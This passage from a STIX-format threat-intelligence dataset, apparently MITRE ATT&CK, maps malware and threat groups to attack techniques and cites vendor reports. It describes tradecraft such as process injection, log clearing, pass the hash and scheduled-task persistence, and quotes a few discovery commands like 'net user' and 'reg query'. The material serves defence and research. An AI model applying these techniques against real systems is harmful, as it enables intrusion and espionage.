            "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.124Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bb870870-2dfb-4ff3-9e17-6a75476d9be4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.193Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6a289837-2455-471b-81e4-b677550ab77b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.370Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c84e0640-82fe-4bb7-b0e1-99b6a746970c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module to clear event logs with PowerShell.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-02-18T03:52:59.745Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--149a056e-9061-4345-a46a-c1f73653d16a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate processes.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580"
        },
        {
            "id": "relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [JHUHUGIT](https://attack.mitre.org/software/S0044) dropper can delete itself from the victim. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant has the capability to delete specified files.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "source_name": "ESET Sednit Part 1"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.160Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) communicates over common ports such as TCP 80, 443, and 25.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.619Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples use cmd.exe to delete temporary files.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.376Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9670979e-9785-45f0-a470-f591c97f6f8a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may enumerate user directories on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.878Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a33c172b-9910-4f36-8373-32126201144b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command <code>cmd.exe /c net user {Username}</code>.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:14:28.726Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c6f0fa41-e240-4184-a0d4-292fb46de3fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) can gather victim proxy information.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.135Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e3a3186e-2ce7-4d46-836e-dc024464ede7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable [Forced Authentication](https://attack.mitre.org/techniques/T1187).(Citation: Unit 42 Phishery Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/",
                    "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.",
                    "source_name": "Unit 42 Phishery Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "type": "relationship",
            "modified": "2019-04-22T19:23:13.478Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--83aac36d-6dfa-4c27-b1b1-c200c9240eb9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant accesses a screenshot saved in the clipboard and converts it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.678Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d078f862-c090-4e79-808b-ff69887a920c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may query the Registry by running <code>reg query</code> on a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.999Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7b2329e5-eacf-4626-bc3c-43331bc09aef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If running in a Windows environment, [Kazuar](https://attack.mitre.org/software/S0265) saves a DLL to disk that is injected into the explorer.exe process to execute the payload. [Kazuar](https://attack.mitre.org/software/S0265) can also be configured to inject and execute within specific processes.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T16:50:19.689Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ddbbd283-6874-4348-82c7-98df6d59ac41",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) looks for specific files and file types.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-01-17T19:43:39.447Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--565da748-a5c8-417c-8c55-828c6e9f2c35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files based on an extension list if a USB drive is connected to the system.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.171Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.(Citation: ESET Sednit Part 1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.701Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e6f5bde4-869f-4c9a-9414-11ea48386204",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) obfuscates strings using a custom stream cipher.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.828Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3bf633d0-5578-4e3a-a599-52f3946f6623",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) deletes the original dropped file from the victim.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.849Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4a0c3e46-f94c-48b5-b094-a8f9437857fb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) uses a batch file to kill a security program task and then attempts to remove itself.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.029Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used <code>netstat -an</code> on a victim to get a listing of network connections.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.139Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--264be7f9-61e1-4e9e-aa4a-aa4a7420f3b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) executes BAT scripts.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:47:41.140Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--41d61146-4a42-4897-b4a1-a706130a322d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command <code>\"cmd.exe\" /C whoami</code>. The group also uses a tool to execute commands on remote computers.(Citation: FireEye Operation Double Tap)(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:44:03.617Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--ae370b88-fd93-4803-a154-aa3debf2327b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[httpclient](https://attack.mitre.org/software/S0068) opens cmd.exe on the victim.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:21:44.570Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7121357f-cc91-4e6b-a2a6-d8bb51bf4a01",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) launched a scheduled task to gain persistence using the <code>schtasks /create /sc</code> command.(Citation: Rancor Unit42 June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-16T16:08:55.688Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "source_name": "Unit 42 Nokki Oct 2018"
                }
            ],
            "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obtains victim Microsoft Windows version information and CPU architecture.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--854fd292-dbaf-4112-96b2-824364c82a4c",
            "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T01:19:36.980Z",
            "created": "2019-01-31T00:23:06.367Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used pass the hash for lateral movement.(Citation: Cybereason Cobalt Kitty 2017)",
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            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "type": "relationship",
            "modified": "2019-07-17T13:11:37.812Z",
            "created": "2019-01-31T01:07:58.553Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--e25ea0c4-513b-489d-943d-2828034f764f",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
